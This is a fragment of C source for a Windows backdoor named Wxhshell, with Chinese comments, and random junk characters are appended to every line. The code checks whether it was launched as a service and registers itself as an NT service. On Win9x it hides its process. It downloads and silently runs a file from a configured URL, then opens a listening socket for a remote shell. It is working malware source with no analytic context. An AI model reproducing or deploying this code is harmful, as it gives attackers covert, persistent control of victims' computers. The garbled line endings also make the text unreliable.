ULONG InheritedFromUniqueProcessId; fxLhVJ"b
} PROCESS_BASIC_INFORMATION; `,(1'
LwUvM
PROCNTQSIP NtQueryInformationProcess; (D8'qx-M
&-+&`h|s
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |k'I?:'
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {kJ[) 7
XEZ6%Q_
HANDLE hProcess; $Mx.8FC +
PROCESS_BASIC_INFORMATION pbi; kmW!0hm;e
lb1(1|#
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \Mlj
7.u]
if(NULL == hInst ) return 0; f|VP_o<
"`:#sF9S
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qc\o>$-:`
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }7$\F!R
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aG|)k,
_@jKFDPL
if (!NtQueryInformationProcess) return 0; UsQv!Cwu^
2$NP46z}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RpLm'~N'
if(!hProcess) return 0; O!f* @
]?)zH:2)
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PJAir8
}qz58]fyx
CloseHandle(hProcess); ^:-%tpB#!
'~ ]b;nA
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ij hMJ?3
if(hProcess==NULL) return 0; {/7'uD\
H
Mdwh-Cis/
HMODULE hMod; !s)2H/KM 8
char procName[255]; $]81 s`
unsigned long cbNeeded; &8&WY1cU
*pasI.2s#
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N=+Up\h
1 *-58N*
CloseHandle(hProcess); n6o}$]H
71 /6=aq>n
if(strstr(procName,"services")) return 1; // 以服务启动 OClY,@
Eun%uah6c
return 0; // 注册表启动 r9vC&pWZ
} |E7]69=P
3\@6i'
// 主模块 Pq4sv`q)S
int StartWxhshell(LPSTR lpCmdLine) SyYa_=En
{ WJ9u3+
SOCKET wsl; hrAI@.Bo
BOOL val=TRUE; \O/=g6w|t}
int port=0; 9) YG)A~<
struct sockaddr_in door; rWvJ{-%
n6uobo-
if(wscfg.ws_autoins) Install(); f:utw T
2dI:],7
port=atoi(lpCmdLine); zu|pL`X
sU}e78m h
if(port<=0) port=wscfg.ws_port; \R#XSW,
q5RLIstQ\
WSADATA data; etDB|(,z
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (8ymQ!aY
,vhR99g{
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; gVl#pVO`N
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h'jnc.
door.sin_family = AF_INET; yWK[@;S]%
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Lq&xlW
j
door.sin_port = htons(port); oD}I{&=wa
XnG!T$
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TM RXl.1
closesocket(wsl); ?QMs<
return 1; uIPR*9~6o
} (p2a{v}fEz
jf2E{48P
if(listen(wsl,2) == INVALID_SOCKET) { @O(\TIg
closesocket(wsl); x-W0 h
return 1; bIhL!Ty T.
} & 3a+6!L[
Wxhshell(wsl); >pYgF=J
WSACleanup(); &S{F"z
X3>(K1
return 0; ~& l`"
a|>MueJ
} 0j yokER
<*\J 6:^n
// 以NT服务方式启动 *5NffiA}-
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) npF[J x[
{ Mu%'cwp$
DWORD status = 0; )Qc$UI8L
DWORD specificError = 0xfffffff; ^q6~xC,/
a"zoDD/
serviceStatus.dwServiceType = SERVICE_WIN32; 83n: h08
serviceStatus.dwCurrentState = SERVICE_START_PENDING; v$c D!`+k
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (AS%P?
serviceStatus.dwWin32ExitCode = 0; OwEz(pj@
serviceStatus.dwServiceSpecificExitCode = 0; izxCbbg
serviceStatus.dwCheckPoint = 0; kmS8>O
serviceStatus.dwWaitHint = 0; wfdFGoy(
y\[=#g1(@
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7PMZt$n
if (hServiceStatusHandle==0) return; y{N9.H2
p%s
D>1k
status = GetLastError(); JjmL6(*ui
if (status!=NO_ERROR) ymzm x$o=
{ S;NXOsSu
serviceStatus.dwCurrentState = SERVICE_STOPPED; ![ QQF|
serviceStatus.dwCheckPoint = 0; =bDG|:+
serviceStatus.dwWaitHint = 0; "OPUGwf
serviceStatus.dwWin32ExitCode = status; =~h54/#[I
serviceStatus.dwServiceSpecificExitCode = specificError; s*IfXv
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6~}H3rvO}
return; jz)H?UuDY
} piP8ObGjy
Rc4EFHL
serviceStatus.dwCurrentState = SERVICE_RUNNING; Y!L jy
[/
serviceStatus.dwCheckPoint = 0; ?Z=v&d[o)
serviceStatus.dwWaitHint = 0; b>i=",i\
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nqBuC
} /\#5\dHj
8syo_sC |
// 处理NT服务事件,比如:启动、停止 @K9T )p]
VOID WINAPI NTServiceHandler(DWORD fdwControl) No7Q,p
{ Y[!a82MTzn
switch(fdwControl) I?K0bs+6
{ cGp^;> ]M
case SERVICE_CONTROL_STOP:
q0~_D8e,
serviceStatus.dwWin32ExitCode = 0; p{rS -`I
serviceStatus.dwCurrentState = SERVICE_STOPPED; .*j+?
serviceStatus.dwCheckPoint = 0; 2]+.8G7D%
serviceStatus.dwWaitHint = 0; -)oBh
{ a5-\=0L~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); "" U_|JH-
} {9Y'v
return; }]I?vyQ#V
case SERVICE_CONTROL_PAUSE: $<v_Vm?6d
serviceStatus.dwCurrentState = SERVICE_PAUSED; Bu1z$#AC
break; k3 l
case SERVICE_CONTROL_CONTINUE: f[IchCwX
serviceStatus.dwCurrentState = SERVICE_RUNNING; sD8S2
break; o(P:f)B
case SERVICE_CONTROL_INTERROGATE: RY{tX`
break; g1~I*!p
}; x/=j$oA
SetServiceStatus(hServiceStatusHandle, &serviceStatus); j;)6uia*A
} qedGBl&
MbfzGYA2~
// 标准应用程序主函数 eEQ[^i
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
qR qy
{ yjd'{B9{
`dP+5u!
// 获取操作系统版本 *K|aK p}
OsIsNt=GetOsVer(); D.(G 9H
GetModuleFileName(NULL,ExeFile,MAX_PATH); tWnm{mF
~8*oGG~s
// 从命令行安装 YJ$ewK4E#.
if(strpbrk(lpCmdLine,"iI")) Install(); B5:g{,C
er0D5f R
// 下载执行文件 `VtwKt*
if(wscfg.ws_downexe) { <+gl"lG
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ` a>vPW
WinExec(wscfg.ws_filenam,SW_HIDE); s3{s.55{m
} &._!)al
a[n$qPm}
if(!OsIsNt) { `?JgHk
// 如果时win9x,隐藏进程并且设置为注册表启动 QIK73^
HideProc(); pGY]VwY
StartWxhshell(lpCmdLine); 7X(]r1-+\
} :OCuxSc%5
else n#Roz5/U
if(StartFromService()) (:QQ7xc{}
// 以服务方式启动 n*Vd<m;w
StartServiceCtrlDispatcher(DispatchTable); +5[oY,^cO
else -kbm$~P
// 普通方式启动 }4SSo)Uv/
StartWxhshell(lpCmdLine); Y/H^*1
_wNPA1q0J
return 0; b`W*vduf
}